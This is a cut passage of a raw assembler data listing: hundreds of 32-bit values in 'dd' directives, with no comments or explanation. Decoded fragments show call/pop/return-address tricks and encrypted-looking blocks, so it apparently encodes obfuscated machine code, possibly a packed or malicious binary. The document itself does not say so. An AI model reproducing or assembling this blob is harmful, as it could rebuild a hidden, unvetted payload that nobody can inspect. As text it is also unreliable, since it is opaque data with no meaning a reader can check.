0C924DF98h dd 4F4F5E0Bh, 0A99D014Fh, 81062B21h, 1E8h, 14850F00h, 0F000000h dd 29E9DAB7h, 0AC000000h, 8107072Dh, 0FD647B81h, 89A44FE0h dd 2B20B195h, 0FF61E906h, 93FEFFFFh, 4B303DC1h, 0A8C12457h dd 0F36D514Ch, 0C4CD4543h, 12E8h, 6B366600h, 3E60AFD9h dd 7B966D32h dd 81059753h, 66396217h, 0B82BD781h, 6D958959h, 81062B16h dd 6FD0C1h, 21950900h, 0BE062B17h, 369ED254h, 0B68DEE81h dd 0B70F369Eh, 8B198BF8h, 2B2065BDh, 4EB8106h, 60507F8Fh dd 41DEBABFh, 0E5952960h, 61062B0Dh, 0B673C381h, 8B0F1FFFh dd 0Fh, 0AE9h, 0F50E2800h, 91666E8Eh, 81DED948h, 6CC87AF3h dd 91BD8B19h, 53062B00h, 9D01018Fh, 62B055Dh, 656E981h dd 850F4E7Dh, 6, 0BB59589h, 0C181062Bh, 4E7D0652h, 8850Fh dd 89600000h, 2B09D1BDh, 0EE836106h, 86850F01h, 29FFFFFFh dd 2B00B9B5h, 218D8D06h, 8B063207h, 0E18D89F3h, 6A062B0Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 9A99C350h, 0BD78E356h, 21E185C7h, 6870062Bh dd 0C0810000h, 7B9B7D16h, 2BE585C7h, 62Bh, 8E0F0000h, 6 dd 28D5B52Bh, 0B5FF062Bh, 62B0D25h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0E4C35343h, 1812F757h, 2B98CC4Fh dd 71950B42h, 66062B29h, 2497CF81h, 273195FFh, 0F56062Bh dd 684h, 49BD8B00h, 58062B0Dh, 0DF9BD89h, 6A062Bh, 294595FFh dd 0C08B062Bh, 24014BEBh, 6CA3F97Bh, 421D9FF6h, 0E8577F04h dd 5A2BF0EAh, 0B6225338h, 6E99D39Eh, 0CEC7917Fh, 533CC000h dd 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh, 0DC6A45CEh, 0A9C0B323h dd 702AFCBh, 418EDED2h, 85CB2FA1h, 2FB561EEh, 82ED4F1Fh dd 15E99Bh, 0DFD10000h, 6DCAh, 3 dup(0) dd 0E9000000h, 570h, 0BC784C11h, 0CCC8FC63h, 1F9BADB3h dd 0AB674100h, 0F4300A4Ch, 154DD689h, 0C298F733h, 76EB0480h dd 3F395652h, 103F9D19h, 0D9C76A04h, 41191F92h, 2322C781h dd 35BA605h, 3854EAC1h, 6EF04F9Ch, 53F5854h, 0C06A0410h dd 31F94EBh, 0BFB904E7h, 68EF3299h, 37287754h, 0FB63BE0Dh dd 1128E2C9h, 0D26BBA2Dh, 9EB8B8EEh, 3E085231h, 890413CFh dd 7C02E9CFh, 0DBED728Dh, 0A59FC0DFh, 6163FB46h, 9F639A8Ah dd 0B672560Bh, 4420FAA9h, 166167FAh, 0AD5CDCC5h, 0AB341252h dd 4DB3B7FCh, 0DFCD653h, 3844D37Eh, 94EB2EB6h, 3A5657CBh dd 94EB2EAFh, 0EE3D1B5Ah, 13F8CC93h, 481FE358h, 2B88C35h dd 2E9D387h, 600A8D7Ch, 47D97C7h, 74h, 4C1271C6h, 0F46CB37Ah dd 0A4B84D11h, 95A506A2h, 923E9279h, 8594EBC0h, 0F26A7F2Ah dd 0FFE31668h, 8D31150Eh, 9A71570Eh, 0E8820584h, 0E67D96DCh dd 1C8DB7ABh, 18Fh, 0DA814B00h, 0A7BA01EAh, 78074AA1h dd 0EBC0C26Ch, 62ABB794h, 2533241Fh, 94EBC08Bh, 0E7C460FEh dd 0D684032Eh, 8A031FECh, 62F9AD91h, 8486F562h, 86FCEC3h dd 54B36F9Eh, 0DAFE3A1Ch, 4E7D981h, 49A2A2B9h, 2D8145FEh dd 78971335h, 5E0DDEF8h, 0BB240043h, 0EBC003ADh, 21E87694h dd 1B447ADEh, 2AE3C57Ch, 0E590BF5Bh, 10CEF304h, 7FE82126h dd 0B9235F8Bh, 74DB7D97h, 8C000000h, 1359D3E1h, 322C94EBh dd 0D981DFFBh, 4A4904E7h, 46D83315h, 7E4D73E9h, 82D629E0h dd 8DA66FBCh, 5B6DF5B9h, 8CD5B05Fh, 43DFF97Bh, 1923374Ah dd 0D0F46FB2h, 6F490887h, 780B829Ch, 77A3679Eh, 7D96E00Bh dd 52B3h, 0D9811F00h, 0EE19A034h, 0D911B73Bh, 9E14F137h dd 0A605A13Dh, 4601065Bh, 41EBF966h, 3494EB17h, 4A3D8E2Ah dd 0C1990DF1h, 819F03FFh, 0CB01EADAh, 94EBC03Eh, 59B28ACDh dd 806B5D02h, 15996D90h, 8DAD7E4Eh, 8F73CC71h, 96DA0763h dd 1BF7Dh, 811B0000h, 0BB06E5DBh, 59C84CB9h, 0EFEA486h dd 0EB3248E2h, 811D3D94h, 3F8CB2A6h, 74248723h, 2B64A8D7h dd 2220B302h, 188E72EBh, 87860244h, 71FB0937h, 494EB18h dd 4351FE1Ah, 8AC60142h, 0F8AD545h, 8D3EA748h, 6134BC14h dd 5158E6C5h, 0E3C57FC2h, 9FAD3827h, 6D3E6CEDh, 0BDB1FE60h dd 0E9C2FDF1h, 0ED67BA73h, 5CECE0CBh, 396D3EDBh, 0FF9A4004h dd 0FB876458h, 5375EF32h, 1E383857h, 0D0F66ECDh, 0A8631887h dd 6ED9FF79h, 810881F9h, 0C6BAA3F2h, 4A4660E0h, 6C0D1955h dd 138CD77h, 6F090000h, 1685D21Fh, 6960AE4Ah, 0DA75B4AEh dd 3A0C504Fh, 34D4DDF3h, 84AB8AC6h, 3E27F678h, 48978B6Dh dd 3E27B23Ch, 3F5BC76Dh, 0D814E590h, 0AF459EDEh, 15A0AF7Eh dd 3E7C6507h, 8706186Dh, 22DEF878h, 3E005635h, 455C4DEDh dd 8B9DF603h, 4201B157h, 0FE76C526h, 0BBA0F3D8h, 4761E3C7h dd 171A544Bh, 0DDB8776Ch, 0E4DA7E9Bh, 3BB44148h, 16000000h dd 84D3206Fh, 7CFE8AF9h, 0EB23454Ch, 0F4355173h, 0EB1E32DCh dd 0F0DB4714h, 0EB1E52DCh, 11F50C14h, 352C0473h, 5C68F713h dd 94EB1EB2h, 80C298C7h, 3FFB172Bh, 8D14h, 2710200h, 0AC2EA464h dd 9CA2B642h, 28988900h, 9E6D5708h, 89251F43h, 9BD6E26Dh dd 0FA8AC6E5h, 38388764h, 92D2B11Eh, 6E8975B4h, 0D5FBD0F6h dd 6D3EE746h, 0DE831E2Dh, 463A23EAh, 0CAC6E060h, 51FEF343h dd 8EE3B43h, 0FFCC5273h, 3B55A0A0h, 0EF26073Ch, 0C9B423BFh dd 90272A8Bh, 99C0D28h, 6222E61Fh, 28C2EE12h, 5D67481Ch dd 0C9FF623Dh, 97C05CE2h, 1C4C46E8h, 204C9416h, 6748ED8Eh dd 0CAC35FC3h, 0F4253947h, 0E678797Eh, 1F6FB62Ah, 677785D2h dd 528ADDD9h, 8A8FC427h, 0BBAAB6E0h, 69ED5AEDh, 8063AA9Fh dd 76EE4D9Eh, 3CCB5450h, 26829E10h, 0D5EF6F6Dh, 6EB178E6h dd 99F903F6h, 63E4DAB1h, 52E8E4C7h, 0B31959B1h, 1B3695AFh dd 3F09630Dh, 2F081619h, 0D3BB1034h, 1283665Ah, 0C7812519h dd 8ACA25E1h, 0C47423ACh, 0A7E08A84h, 842A0DAAh, 86EA2BBh dd 3F6672FCh, 0FF1B0719h, 0B5D07F0Eh, 0C139AB2h, 45987355h dd 7BC62503h, 770BE0E4h, 0A8034518h, 33774BE2h, 0ABB71430h dd 0E38E9D0Fh, 3F665BD5h, 0F9302E19h, 3E367C40h, 0C1839C18h dd 4A4904E7h, 47DB3016h, 5E4F69E8h, 0DB7h, 0E271A300h dd 0EBC054D6h, 0F8312994h, 0DC815276h, 84BC03E8h, 6DF249A2h dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh dd 15489774h, 5108D833h, 0BF57E189h, 7F361B90h, 6770E781h dd 814F44C1h, 0D33F91CFh, 0A1EF8177h, 810FFE65h, 0D4D9FAEFh dd 5FF90167h, 8704E983h, 685C240Ch, 2C89h, 68240489h, 2B9Fh dd 81241C89h, 4ECh, 242C8900h, 320790BDh, 5DE88906h, 241C8B54h dd 8104C483h, 4ECh, 24048900h, 8B08438Fh, 8957241Ch, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 2434FF5Ch, 4C48158h, 0E9000000h dd 0FFF972C4h, 3C8EB3B1h, 94EB05E1h, 3CD3131Eh, 320C6FB8h dd 0FFC50306h, 39B11BE0h, 27E74D34h, 7619191Ch, 0A782667Eh dd 66B11A25h, 0C899DE5Ah, 29554653h, 1B7E3565h, 178D8D71h dd 6A06320Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 8BCEC356h, 0B1B4F00Dh, 68A0FA2h dd 8B000000h, 2B208985h, 89A8B206h, 2B0EE18Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0F67A356Ch, 54CE81CDh, 0C731B559h, 2B21E185h, 5C1406h dd 0D1B70F00h, 2BE585C7h, 62Bh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0E02E88C3h dd 0BE8A956h, 2D000000h, 11BE7099h, 0F2F65C6h, 858B2E65h dd 62B1211h, 0FDB5FF5Fh, 66062B0Dh, 0FF72E0BBh, 2B273195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0F1E80E3h, 38Ah, 0F3BF0F00h, 95FF006Ah dd 62B2945h, 28EBC08Bh, 7C5BF51Dh, 0FA2F2A87h, 4019BFF7h dd 0B06591CDh, 0C02E28B5h, 0B5ED281Ah, 5B676743h, 8EAA7786h dd 0B1EFC155h, 895680EBh, 0EF58D8Dh, 8F0F0632h, 6, 6119589h dd 8D89062Bh, 62B0EE1h, 0E185C7F9h, 50062B21h, 6A00006Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 48CAC357h, 0C3CCB28h, 3180C482h, 2B07718Dh dd 85C7F906h, 62B2BE5h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BFC35646h dd 0A5B5FF0Dh, 89062B21h, 2B0DC1B5h, 3195FF06h, 6A062B27h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0F7EEC356h, 7E0B20D3h, 6A4BA3h, 294595FFh dd 0C08B062Bh, 51D20EEBh, 0ABAE947Bh, 4159175Eh, 0B74F09FAh dd 10E8h, 3812D700h, 0E06846DBh, 0D552200h, 3E61C90Ah dd 2D9D8B41h, 5F062B2Bh, 1EB98D8Bh, 0C781062Bh, 6230h dd 6880Fh, 0BD310000h, 62B0BC1h, 0D9CD46BAh, 24F28171h dd 8B71D9D5h, 5637FFD8h, 839BD89h, 585E062Bh, 0DC99D31h dd 0C081062Bh, 4E70E3DBh, 0D8E0Fh, 8E90000h, 4B000000h dd 3F5D7B88h, 813CA8D1h, 7707EDF0h, 96E88111h, 8B53C076h dd 0F0789CBh, 1186h, 0B880F00h, 0E8000000h, 5, 0C35FAB95h dd 0EF815EC6h, 7CF7CD0Eh, 1AD6BB66h, 0CD0AC781h, 0B58B7CF7h dd 62B15F5h, 92850F4Ah, 8BFFFFFFh, 328D8DF0h, 66063210h dd 8D89D68Bh, 62B0EE1h, 799D31h, 85C7062Bh, 62B21E1h, 59B4h dd 0A21858Bh, 85C7062Bh, 62B2BE5h, 0 dd 18719D33h, 0B5FF062Bh, 62B18B9h, 244D8589h, 95FF062Bh dd 62B2731h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 53C35646h, 0FF489DFh, 689h, 34D08100h, 6A29A966h dd 4595FF00h, 8B062B29h, 402CEBC0h, 916C14CBh, 78F00116h dd 80864A00h, 0D7AAE69Bh, 7FA85A3Bh, 9D1D106Bh, 0AE391619h dd 9832CB76h, 150920A1h, 0EB461CB9h, 0E819AB1Fh, 0Ch, 76EA3EC8h dd 0EAD5962Fh, 9E9E3B5Bh, 0C281F95Ah, 7175h, 1D98589h dd 3CB8062Bh, 810D6AE1h, 6AFD06F0h, 0C8B0F0Dh, 0F000000h dd 68Ch, 25858900h, 8B062B2Ch, 0A5EF813Ah, 8136B538h, 0F55E56C7h dd 0C2D38013h, 0DFA4EF81h, 81664725h, 8912FACBh, 718D8B3Ah dd 81062B32h, 3BE839EAh, 2850F59h, 8B000000h, 35C281D8h dd 0F593BE8h, 0E883CFBFh, 0BC850F01h, 50FFFFFFh, 0FE9h dd 0D57D9500h, 0D3BD588Fh, 7BA58BA6h, 0D2A77098h, 13E85Eh dd 9CC0000h, 43E5A19h, 7227A76Bh, 515E1D03h, 4728A48Fh dd 0EDD081A1h, 5B1DB295h, 62B9C381h, 81660000h, 68C861E7h dd 1877h, 68D0F60h, 89000000h, 2B2FC59Dh, 2FF78106h, 6158D315h dd 0AE95Eh, 86550000h, 0E4CF8259h, 7CB9B5C3h, 7DB533FFh dd 81FA8B5Ah, 7F4728C2h, 0C5B52977h, 81062B34h, 0D6E455EAh dd 0E5B5892Eh, 81062B07h, 6A637BF2h, 48B96645h, 0BD315289h dd 62B2689h, 0F60038Fh, 28Bh, 29616000h, 2B1E5DB5h, 0EB836106h dd 5E803h, 7AE50000h, 8B380206h, 2B0225BDh, 314B5906h dd 2B170195h, 850F4E06h, 1Eh, 7FF78166h, 25E907h, 8BEE0000h dd 0ED9A46EDh, 7EE77D1Fh, 8463F867h, 4F1179A8h, 8D8B4BCFh dd 62B0A05h, 0FFFF73E9h, 9D6293FFh, 0E8BD2778h, 14h, 8DEB9C8Bh dd 4B82BD01h, 0A5142279h, 82102AAEh, 9F3672A0h, 219D89h dd 8B5E062Bh, 8FC681FAh, 8900005Eh, 2B20418Dh, 0B906h dd 85890000h, 62B2A49h, 893134FFh, 2B354D9Dh, 0B5895B06h dd 62B2605h, 507DEB81h, 81661D40h, 81AF7FEFh, 1366F6F3h dd 0B77EB866h, 0C38170B9h, 7B23F5AEh, 2DBD8B60h, 9062B2Ch dd 2B2AAD85h, 81536106h, 0CDF16CE2h, 0E048F31h, 32718D29h dd 8166062Bh, 818D2CF0h, 2B8959E9h, 81F3B017h, 2B8955C1h dd 68D0F17h, 89000000h, 2B20158Dh, 18F98106h, 0FFFFFA2h dd 0FFFF8B85h, 0E8D78BFFh, 0Ah, 7380EEE2h, 944ADE36h, 81589A1Fh dd 6DC7C0h, 65958900h, 0B9062B08h, 1B55h, 0F219D8Bh, 388B062Bh dd 11E9h, 4D88FD00h, 88AB5018h, 5C0CF6DBh, 2BBDA0F3h, 0C7813E31h dd 59CE265Fh, 81F28B66h, 0E3F80EC7h, 0DDF38156h, 817EAAEBh dd 9161C2C7h, 999D0378h, 57062B2Ch, 9D23008Fh, 62B193Dh dd 8B03E883h, 81F848DAh, 1E9h, 0AB850F00h, 82FFFFFFh, 889A075h dd 0DC781469h, 4AC38DA6h, 2E86360Eh, 908635A1h, 480AD925h dd 99053025h, 14AD2DB8h, 76023F25h, 7863025h, 69AF2D98h dd 0A5893023h, 90863057h, 7BABB5E3h, 4CC8360Eh, 862C3C12h dd 0A234A4h, 7B95A8EEh, 699BAD90h, 0CA03BD23h, 6F801EA6h dd 8E76BBF5h, 0FB51DA0h, 9EE7E23h, 882A061Eh, 68DD1411h dd 0F7793451h, 27AD1938h, 136DB5A8h, 9879360Bh, 343FC8AEh dd 0FB863025h, 986302Dh, 8A033F83h, 0B863025h, 0A489F92Eh dd 6F79CFD5h, 48863DCCh, 851BBD25h, 0AA801B6Bh, 9863020h dd 390BD3DAh, 44B4232Eh, 324EBDA8h, 823E3617h, 63000000h dd 826FF1EAh, 889A075h, 0DC781469h, 4AC38DA6h, 2E86360Eh dd 908635A1h, 480AD925h, 99053025h, 0F305E983h, 22B9A4h dd 22E90000h, 0B2000000h, 2BE450h, 7 dup(0) dd 853E900h, 0C29B0000h, 76ED0A86h, 273D5A56h, 0CB8AE521h dd 80D631EDh, 403742BEh, 7DB983D7h, 920E3822h, 0DCD8EC75h dd 6BA781C3h, 0FC8E9AB1h, 9192D9D4h, 1E593493h, 0C76365FDh dd 0AB7389E4h, 1C18AF3Fh, 718D0980h, 917A4C12h, 0E1700089h dd 1094EBC0h, 0ADBA7650h, 0CB65731Eh, 0BE94EBC0h, 0C034B6A0h dd 0D14994EBh, 9AD727D8h, 350B4E4Dh, 0CE4148D6h, 0C6D96BA2h dd 2FFC628Ah, 2BB48ED0h, 0F7D4EE6Ch, 0A3FCA26Bh, 446054A1h dd 3853E9EEh, 70F04F9Ch, 312A7556h, 0A1F594Dh, 3FCF4CFEh dd 0AD5F6D6Dh, 0A06D3FCFh, 41DD7DBEh, 0E9185245h, 0CBB6776Ah dd 0BD494D81h, 0E3F15E58h, 6D3F4C49h, 1EEB223Ch, 63h, 0E7D981B8h dd 5CA1B904h, 43A8C4FEh, 1A3E5DF0h, 2F4B6DE7h, 7FE542DCh dd 2DDC6249h, 45A5034h, 0CA59C6C2h, 0EBC00CBEh, 7ED94194h dd 7B07E4DAh, 0DD5B17B2h, 28037D96h, 44000000h, 0D8331549h dd 81434746h, 0C804E7D9h, 94EBC039h, 8D31154Eh, 0C058D2FEh dd 2D2D94EBh, 8BBDA5FCh, 12040Fh, 81F20000h, 0C804E7D9h dd 94EBC038h, 8E24185Dh, 0A63AF6C8h, 85D21F6Fh, 0C6EA4E77h dd 9279E18Ah, 0FB37094Fh, 2586B89Ch, 3CABC838h, 12319910h dd 0FD6AF473h, 2586B89Eh, 0A0722A15h, 2D5E80D0h, 0D07F29FCh dd 0A6B53745h, 56C86742h, 24DAAE57h, 8CF2BE79h, 0C2B3FADDh dd 0F95C2BFDh, 0A7495753h, 0DA6742B1h, 9EE12844h, 0EF0884BAh dd 7EAA8469h, 83089AF8h, 0CAC98467h, 547CAD8Bh, 67423BEAh dd 5A99D94h, 0A3FE695Fh, 0A20089BBh, 14246F3Eh, 8F937842h dd 0D50D6F73h, 0FDE1C781h, 7DF9BE22h, 17C96D5h, 23h, 0D7246FCDh dd 0C9637103h, 0BC94EBC0h, 6971BEA2h, 0F1E5DB81h, 12718B4Fh dd 8F93784Eh, 32F71Eh, 6FE30000h, 7103D724h, 0EBC0C963h dd 0A9B5D094h, 0FB324C9Fh, 6264F615h, 27112C6h, 0E6CA03B0h dd 0BB5657AFh, 0E5DB81A7h, 95004FF1h, 6DEDC5CDh, 5B7FAEA1h dd 0AE1C781h, 2ACB847h, 1B94EBC0h, 0EBC0630Dh, 0B3081694h dd 0B6D2F46Ch, 5F395977h, 0C57E94E0h, 0AB2E5D01h, 0F9F7A1E9h dd 261E61A8h, 0F76B8400h, 0BFA3FECDh, 6E2F5A85h, 0FA5BE46Ch dd 0DDEFE79h, 0E376D16Dh, 0B9700EDDh, 0DEA29BEAh, 0EF6F96C8h dd 0F68F6D5h, 0DFDB7749h, 3B0D5530h, 0DD6F7DD0h, 0B06B10C1h dd 0FC9B12AEh, 7D91DA72h, 342Ah, 1271B400h, 8B977452h dd 6345FF02h, 66BDB88h, 8BB6CBD9h, 92C98AC6h, 0A7A1FEC8h dd 0F8142A81h, 0FDC17A13h, 5E89AFA9h, 0E6FB1C43h, 0AE73DC40h dd 9B4746E2h, 22C78107h, 58A70422h, 53EF3C06h, 3309B37h dd 311BEB3h, 8AC68D96h, 5FDC72B9h, 427ABBA6h, 8527C5F5h dd 47E34272h, 98C1DC4Bh, 0F23B47A4h, 3893B5AFh, 0C9883B94h dd 0F7CB64F0h, 4897B1B3h, 6676DC5Dh, 9415562Ch, 0D672212Eh dd 0F63DB4ACh, 0E7C4E063h, 0B3CE3F5Bh, 73497B1h, 1F2DBAB7h dd 0FFA7F4F6h, 0CB568199h, 0DDE733BDh, 471B46FBh, 7490AE7Dh dd 6FD5C9B5h, 0D03D724h, 22C781D5h, 0E9ED093Fh, 3563522h dd 0F9CECC3Dh, 7C96D57Dh, 4201h, 271CD00h, 35DD307Fh, 523253Bh dd 8D7C98A6h, 1EC2319Ch, 0C0C96371h, 0A2BC94EBh, 716971BEh dd 0E794F12h, 2537DB5Dh, 304FBEF0h, 71461A2Ch, 0C4499602h dd 3DFA892h, 0B08108F7h, 2F758Ah, 716D0000h, 8CB0A7E2h dd 0BB35233Fh, 0CE94EBC0h, 5963F750h, 0C3DEC72h, 71AEB2C1h dd 0B27B4D12h, 0C0FF719Fh, 0A3BF94EBh, 816971BFh, 4FF1E5DBh dd 0E1C7818Bh, 5FCAC60Ah, 48E194E0h, 20063E74h, 0EDD78BE4h dd 0A59FC31Eh, 7A4EF746h, 9C182234h, 92576FFBh, 28177Dh dd 81B30000h, 590AE1C7h, 4D5B84E9h, 8AC6DB6Ch, 0DA54600Fh dd 0AF6D3F3Bh, 0A7BB7AB3h, 0D2B64F44h, 154264DCh, 2EDFE176h dd 0C7816C70h, 0B73947D2h, 0CA94EBC0h, 0C0E08A54h, 0B69594EBh dd 0EBC000AAh, 49E57594h, 1D6DDE2Dh, 540887D0h, 8819972h dd 3D0F7A09h, 6A4205A0h, 318EF981h, 0C7C9C02Fh, 8AC68502h dd 0FDE11D3Dh, 3D7246Fh, 1271D50Dh, 89917A4Ch, 61470100h dd 5635227Dh, 4CD2391Fh, 7DF9395Dh, 17C96D5h, 46h, 0D7246FCDh dd 0C9637103h, 0BC94EBC0h, 9AA635A2h, 94EBC010h, 0E13B2665h dd 0CD92311h, 719D39F0h, 8BADA7E2h, 0EBEF1E20h, 3026DB81h dd 4FEEF20Eh, 0D6E2718Bh, 94EBC054h, 563129h, 5C4DED3Eh dd 3EB1h, 246FA100h, 93784214h, 0C01E90BCh, 0EF7394EBh dd 71233753h, 0EBC0C963h, 26B19194h, 0C0E38D9Bh, 889694EBh dd 0E2718501h, 1E8FB1A7h, 4F127178h, 0EB71B079h, 4F01D5h dd 6E5C385h, 7115B178h, 0A3E6E902h, 5C4DEDC0h, 0C6250345h dd 704A0C8Bh, 2F11449Bh, 1A761A93h, 1194E0F6h, 0D68E2418h dd 99DB34F0h, 45E1DB7Ch, 6885F566h, 0CB08D1FFh, 7C0B753Ah dd 3ACBDE50h, 7EAFB36Dh, 7367A3BFh, 88D7246Fh, 99724A0Dh dd 71820881h, 917A4C12h, 90B6AE89h, 17E6273Bh, 0E1C781B3h dd 0F9BE22FDh, 7C96D57Dh, 6381C7Bh, 871495A5h, 36h, 0D7246F43h dd 4C127103h, 89917Ah, 0C049E3F1h, 223C94EBh, 8169713Eh dd 71F1E5DBh, 72BC3802h, 5A5303C2h, 0E271CD89h, 0EBC054D6h dd 0F8312994h, 585Dh, 246F4500h, 3F1D88D7h, 53DDEBACh dd 2694EB97h, 0F19D4F38h, 716367A6h, 0A74957E2h, 0DA94EBC0h dd 1DEED287h, 0D386E17Dh, 1A943CEDh, 4294EBC0h, 0DC2F1945h dd 79C98191h, 4A04B8Fh, 1271F4E8h, 808F7E48h, 0E5DB817Eh dd 9EDA0F7Ah, 0D7E469B8h, 0CF53B89Ch, 4F5C7AB3h, 0E1C7818Bh dd 5FCAC60Ah, 1D5794E0h, 0D48DD03Bh, 0F9721BF0h, 0BAB36205h dd 0E97510C6h, 91D32EDFh, 0EB6D28B7h, 760FECDh, 0FE806B4Dh dd 3C34530Fh, 123ECD1Ah, 6B10BE98h, 0E9BC6DEDh, 0F312762h dd 0C4F861BCh, 0CE3F5BE7h, 5780ED5Dh, 3DAFB449h, 0DD94CB75h dd 0F20E10FBh, 82E2665h, 0B06E9FA3h, 14246F2Ch, 92AC7F41h dd 0D50D6276h, 0FDE1C781h, 7DF9BE22h, 7B7C96D5h, 0F37C9D0Ch dd 0C4C5FB38h, 4937h, 246F9300h, 637103D7h, 94EBC0C9h dd 0A635A2BCh, 0EBC0109Ah, 6AF56594h, 0EBC0AC5Eh, 70B9A194h dd 7169714Ah, 6F5B2502h, 6FF89E13h, 0EB16AF41h, 4DBCA294h dd 44182E32h, 0E2718B4Fh, 0EBC054D6h, 0F8312994h, 285Dh dd 246F4500h, 637103D7h, 94EBC0C9h, 71ADB191h, 8EB2A7E2h dd 0DB817B1Fh, 9FB9BBD6h, 8A24324Ch, 0FF94EBC0h, 4F13C763h dd 0E1C7818Bh, 84E9590Ah, 0EA0CC5Bh, 0DF94EBC0h, 0E876457Fh dd 0C3022E21h, 4A8AC68Bh, 0E151D8D4h, 0AA35438Ch, 0F9730926h dd 3D378A61h, 5709F1Bh, 0D22E5164h, 2F72BBF5h, 14B81335h dd 5113996Eh, 0F6AC90A9h, 2883C59Bh, 3D615DC5h, 0F511AC68h dd 2A81C79Ah, 0CA8A9514h, 9DD730ECh, 6EFD50BBh, 2018A842h dd 9A3B151h, 7C512018h, 880119E2h, 0DDEFE79h, 70261A03h dd 0AC7F4915h, 4C041B92h, 0CE5E84B9h, 0BCC8AB52h, 5120D232h dd 23BFDB47h, 0BE9ED9B4h, 66DCCD6Dh, 82694F09h, 3CBh, 7A5EAF00h dd 3E8DC81h, 49A284BCh, 705B6DF2h, 0B417312Dh, 0FCCFF169h dd 2487B9A1h, 6DBE9ED9h, 97744A0Eh, 0D8331548h, 0E7895708h dd 4C781h, 0EF810000h, 4, 5C243C87h, 56241489h, 0C681E689h dd 4, 8704EE83h, 895C2434h, 89562434h, 4C681E6h, 81000000h dd 4EEh, 24348700h, 2414895Ch, 141ABF57h dd 81570632h, 16392404h, 815E2874h, 741639EEh, 3685F28h dd 89000073h, 4832424h, 835A0424h, 48904ECh, 8B824h, 0D0010000h dd 8B583089h, 89502414h, 405E0h, 0C0830000h, 24048704h dd 2434FF5Ch, 4C4815Eh, 0E9000000h, 0FFF96354h, 0FDDE7328h dd 0A7A57FA2h, 1BD1B831h, 0C5030632h, 65A8E0FFh, 0B08113D1h dd 0C0DC3EE3h, 0CD80769Ah, 0A8110AC3h, 5C904355h, 0DB32717Bh dd 30BF2048h, 3C2A69A2h, 4037774Dh, 0C7B95DAFh, 0CA0E41E0h dd 973468DDh, 81D47629h, 0FDC8045Fh, 44D50875h, 0B42C49A4h dd 4578593Dh, 9D3C55CAh, 462B0133h, 6CB60946h, 0AE352FD0h dd 0B40C497Dh, 78A568ACh, 1E1666EDh, 863D5D36h, 0AF7F641Ch dd 0C096381Ch, 5E656BCAh, 8D8D001Ah, 6321D79h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C8C35141h, 0AF300156h dd 8B6B78D1h, 0E18D89A8h, 0E9062B0Eh, 5, 0C79F6096h, 0E185C7FCh dd 0E8062B21h, 6A000070h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 9941C351h, 0C7F28B5Ch dd 2B2BE585h, 6, 0EDEE8000h, 165B5FFh, 95FF062Bh, 62B2731h dd 25C98589h, 0BB66062Bh, 6AD5EBh, 294595FFh, 0C08B062Bh dd 0BA021EEBh, 7E44EAF4h, 7264DA26h, 4F965932h, 871517FAh dd 3528B2ADh, 2D1E06CEh, 0AD15C591h, 0CE8h, 0A1135400h dd 0AA617D49h, 0EE1F0848h, 0DFB70FDBh, 0C9D7815Ah, 81744141h dd 60C9C2h, 85858B00h, 0B9062B16h, 0 dd 34FF6FB4h, 2D9D8B11h, 5E062B17h, 5BB2B866h, 1D7CC681h dd 0B8660F49h, 0C681175Ch, 7A2A5F72h, 0FE8h, 9FFDBD00h dd 0C1A89C9Ah, 0E53579C4h, 0D023CB8Dh, 815BF98Ah, 0A3D59AF6h dd 14E96Bh, 6CAE0000h, 1E8DB653h, 2F356EAh, 63E3EFA3h dd 0F705C581h, 0FC5637B0h, 290A048Fh, 2B25D195h, 13E906h dd 413C0000h, 8D0EF047h, 3DBE64E6h, 0B2D52E17h, 4338EAE0h dd 4E98378h, 0FE8h, 1F500C00h, 0F162DFA6h, 14099169h, 499ADAh dd 288DB531h, 815B062Bh, 0FFA008F9h, 5F850FFFh, 0E9FFFFFFh dd 6, 0AF7DFA1h, 8D8DD6CBh, 6321F5Fh, 3261BD8Bh, 8D89062Bh dd 62B0EE1h, 20F9958Bh, 858B062Bh, 62B20A9h, 21E185C7h dd 6150062Bh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0EC3516C3h, 0E83AFE92h, 9, 7D47248Dh dd 9FED1A9Fh, 6160564Ah, 85C7585Eh, 62B2BE5h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 4C35242h dd 2DC31C24h, 0FF3629E4h, 2B0D45B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0C78A53D5h dd 273195FFh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0E8435DC3h, 5, 25CB0F75h, 0C38B6689h dd 0C2BF0F58h, 95FF006Ah, 62B2945h, 5CEBC08Bh, 0C4523383h dd 0A04096D0h, 0B8363580h, 5D6EC7F1h, 9EB927F4h, 39A8440Ch dd 6CC8F5F8h, 0D0695EE5h, 7F5B2EC5h, 0A4E8C164h, 0F957C6E3h dd 0B74A1307h, 205067A6h, 92DF56EEh, 5049CABFh, 0CDEFADB2h dd 0B06103D6h, 0C92F4FF1h, 74FCA19Ch, 3A7344B5h, 64EBF52Dh dd 5AA5486Dh, 69AF1872h, 0EE8h, 0D9C83800h, 0A076B55Eh dd 8CE38AA6h, 0BE0396A5h, 67814F2Eh, 0BD8B605Ah, 62B2665h dd 10E9h, 0D6940300h, 35FB5A44h, 0A915393Fh, 53158BB6h dd 0C2816189h, 